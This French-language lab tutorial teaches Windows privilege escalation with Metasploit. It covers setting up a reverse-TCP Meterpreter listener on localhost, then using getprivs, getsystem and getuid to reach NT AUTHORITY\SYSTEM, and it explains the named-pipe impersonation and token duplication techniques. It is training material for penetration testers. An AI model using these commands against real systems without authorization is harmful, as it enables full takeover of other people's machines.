Introduction
Dans le domaine des tests d'intrusion (penetration testing), obtenir un accès initial à un système cible n'est que le début. Souvent, le premier point d'accès est un compte utilisateur à faible privilège avec des permissions limitées. Pour obtenir un contrôle total sur le système, vous devez élever vos privilèges vers un compte de niveau supérieur, tel que Administrator ou, encore mieux, NT AUTHORITY\SYSTEM sous Windows. Ce processus est connu sous le nom d'escalade de privilèges (privilege escalation).
Le Metasploit Framework fournit une charge utile post-exploitation puissante appelée Meterpreter, qui inclut une commande polyvalente, getsystem, conçue spécifiquement à cet effet. Cette commande automatise diverses techniques pour élever les privilèges de la session actuelle au niveau le plus élevé.
Dans ce laboratoire, vous vous mettrez dans la peau d'un attaquant qui a déjà obtenu une session Meterpreter de base sur une cible Windows. Vous apprendrez à utiliser la commande getsystem pour élever vos privilèges et confirmer votre nouveau niveau d'accès.
Établir une session Meterpreter sur une cible Windows
Dans cette étape, nous allons simuler l'obtention d'une session Meterpreter. Tout d'abord, nous devons démarrer la console Metasploit Framework et configurer un écouteur (listener) pour "capturer" la connexion entrante d'une machine compromise.
Ouvrez un terminal et démarrez la console Metasploit en mode silencieux pour éviter l'affichage de la bannière.
msfconsole -q
Une fois dans l'invite msfconsole, nous utiliserons le module générique multi/handler. Ce module est conçu pour gérer les connexions entrantes provenant de diverses charges utiles (payloads).
use multi/handler
Ensuite, nous devons indiquer au gestionnaire quelle charge utile attendre. Pour ce laboratoire, nous utiliserons une charge utile standard Windows Meterpreter reverse TCP.
set payload windows/meterpreter/reverse_tcp
Nous devons également configurer l'adresse IP (LHOST) et le port (LPORT) de l'écouteur. Nous définirons LHOST sur 127.0.0.1 (localhost) et LPORT sur 4444.
set LHOST 127.0.0.1
set LPORT 4444
Maintenant, démarrez l'écouteur en exécutant la commande exploit. Nous utilisons l'option -j pour l'exécuter en tant que tâche d'arrière-plan, ce qui maintiendra l'invite msfconsole disponible pour d'autres commandes.
exploit -j
Vous devriez voir une confirmation que le gestionnaire a démarré.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
Pour ce laboratoire, un processus d'arrière-plan simulera maintenant un hôte Windows compromis se connectant à vous. Après quelques instants, vous devriez voir un message indiquant qu'une session Meterpreter a été ouverte.
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:49152) at YYYY-MM-DD HH:MM:SS +0000
Pour interagir avec cette nouvelle session, utilisez la commande sessions avec l'option -i suivie de l'identifiant de la session.
sessions -i 1
Votre invite devrait changer en meterpreter>, indiquant que vous êtes maintenant dans la session Meterpreter sur la machine cible.
meterpreter >
Vérifier vos privilèges actuels avec getprivs
Dans cette étape, avant de tenter une élévation, il est crucial de comprendre les privilèges détenus par notre compte utilisateur actuel. Sous Windows, les privilèges déterminent quelles opérations spécifiques au niveau du système un utilisateur peut effectuer, telles que le débogage de programmes ou l'arrêt du système.
Meterpreter fournit la commande getprivs pour énumérer les privilèges associés au jeton de processus actuel.
Maintenant que vous êtes dans l'invite meterpreter>, exécutez la commande getprivs :
getprivs
La sortie listera tous les privilèges détenus par le processus utilisateur actuel. Certains privilèges sont activés par défaut, tandis que d'autres peuvent être désactivés.
============================================================
Enabled Process Privileges
============================================================
SeChangeNotifyPrivilege
SeIncreaseQuotaPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
Cette sortie nous indique nos capacités actuelles. Pour que de nombreuses techniques d'escalade fonctionnent, certains privilèges comme SeDebugPrivilege ou SeImpersonatePrivilege sont requis. Voir cette liste nous aide à planifier notre prochaine action.
Tenter une élévation vers SYSTEM avec la commande getsystem
Dans cette étape, nous allons utiliser la commande principale de Meterpreter pour l'escalade de privilèges : getsystem. Cette commande est un script puissant qui tente automatiquement plusieurs techniques différentes pour élever les privilèges de la session vers NT AUTHORITY\SYSTEM.
Le compte NT AUTHORITY\SYSTEM est le compte le plus puissant sur un système Windows, avec un accès pratiquement illimité à toutes les ressources. Obtenir le contrôle de ce compte est souvent l'objectif principal de la post-exploitation.
Depuis votre invite meterpreter>, exécutez simplement la commande getsystem :
getsystem
Meterpreter va maintenant tenter diverses techniques. En cas de succès, vous verrez un message indiquant quelle technique a fonctionné. Le résultat le plus courant en cas de succès est via "Named Pipe Impersonation".
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
Si la commande renvoie un message de succès, vous avez probablement réussi à élever vos privilèges. Si elle échoue, cela signifie qu'aucune des techniques automatisées n'a fonctionné dans le contexte de l'utilisateur actuel, ce qui peut être dû à des privilèges manquants ou à un renforcement du système. Pour ce laboratoire, la commande devrait réussir.
Vérifier les nouveaux privilèges avec getuid
Dans cette étape, après avoir exécuté getsystem, nous devons vérifier que nos privilèges ont bien été élevés. Un moyen simple de le faire est de vérifier l'identité de l'utilisateur de notre session actuelle.
Meterpreter fournit la commande getuid à cet effet. Elle interroge le système et renvoie le nom d'utilisateur sous lequel le serveur Meterpreter s'exécute actuellement.
Dans votre invite meterpreter>, exécutez la commande getuid :
getuid
Si la commande getsystem a réussi, la sortie devrait maintenant indiquer que vous êtes l'utilisateur SYSTEM.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Voir NT AUTHORITY\SYSTEM comme nom d'utilisateur du serveur est la confirmation définitive d'une élévation de privilèges réussie. Vous disposez désormais du plus haut niveau de contrôle sur la machine cible. Si vous aviez exécuté getuid avant getsystem, cela aurait affiché le nom de l'utilisateur à privilèges limités que vous aviez initialement compromis.
Discussion des différentes techniques de getsystem
Dans cette étape, nous allons explorer ce qui se passe en coulisses lorsque vous exécutez getsystem. Cette commande n'est pas une fonction unique et magique ; c'est un script qui parcourt une liste de techniques connues d'escalade de privilèges sous Windows.
Pour voir la liste des techniques disponibles, vous pouvez utiliser le menu d'aide de la commande getsystem en passant l'option -h.
getsystem -h
Cela affichera les options d'utilisation et une liste des techniques qu'elle peut employer.
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t The technique to use. (Default to trying all)
Techniques:
0: All
1: Named Pipe Impersonation (In Memory/Admin)
2: Named Pipe Impersonation (Dropper/Admin)
3: Token Duplication (Admin)
(Note : Le nombre et le nom des techniques peuvent varier légèrement entre les versions de Metasploit.)
Décomposons brièvement ce que signifient ces techniques :
- Named Pipe Impersonation (In Memory/Admin) : C'est la méthode par défaut et la plus fiable. Elle crée un service qui s'exécute en tant que SYSTEM, puis crée un "named pipe" auquel le service se connecte. Votre processus usurpe ensuite le contexte de sécurité de ce service, devenant ainsi SYSTEM. Tout cela se fait en mémoire. Cela nécessite généralement des privilèges de niveau Administrateur pour réussir.
- Named Pipe Impersonation (Dropper/Admin) : Ceci est similaire à la première technique, mais implique le dépôt d'un fichier (une DLL) sur le disque. C'est moins discret et plus susceptible d'être détecté par les logiciels antivirus.
- Token Duplication (Admin) : Cette technique trouve un processus qui s'exécute déjà en tant que SYSTEM, vole son jeton d'accès (access token) et l'applique à votre processus actuel. Cela nécessite le privilège
SeDebugPrivilege, qui vous permet d'inspecter et de déboguer d'autres processus.
Par défaut, getsystem essaie toutes les techniques disponibles (-t 0) jusqu'à ce que l'une d'elles réussisse. Comprendre ces méthodes vous aide à résoudre les problèmes lorsque getsystem échoue et vous permet de sélectionner manuellement une technique spécifique si vous avez plus d'informations sur la configuration du système cible.
Résumé
Dans ce laboratoire, vous avez réussi à effectuer l'une des tâches post-exploitation les plus critiques : l'escalade de privilèges. Vous avez appris à exploiter le Metasploit Framework et sa charge utile Meterpreter pour élever votre accès sur une cible Windows, passant d'un utilisateur standard au compte tout-puissant NT AUTHORITY\SYSTEM.
Vous avez parcouru l'intégralité du processus, de la configuration d'un écouteur (listener) et de l'établissement d'une session à la vérification de votre niveau d'accès final. Plus précisément, vous avez utilisé :
msfconsolepour configurer un écouteur.getprivspour énumérer vos privilèges initiaux.getsystempour élever automatiquement vos privilèges.getuidpour confirmer que vous étiez devenuNT AUTHORITY\SYSTEM.
Enfin, vous avez exploré les différentes techniques utilisées par la commande getsystem en coulisses. Cette connaissance est inestimable pour comprendre pourquoi la commande peut réussir ou échouer dans différents environnements. Maîtriser l'escalade de privilèges est une compétence fondamentale pour tout testeur d'intrusion, et getsystem est un outil puissant dans votre arsenal.


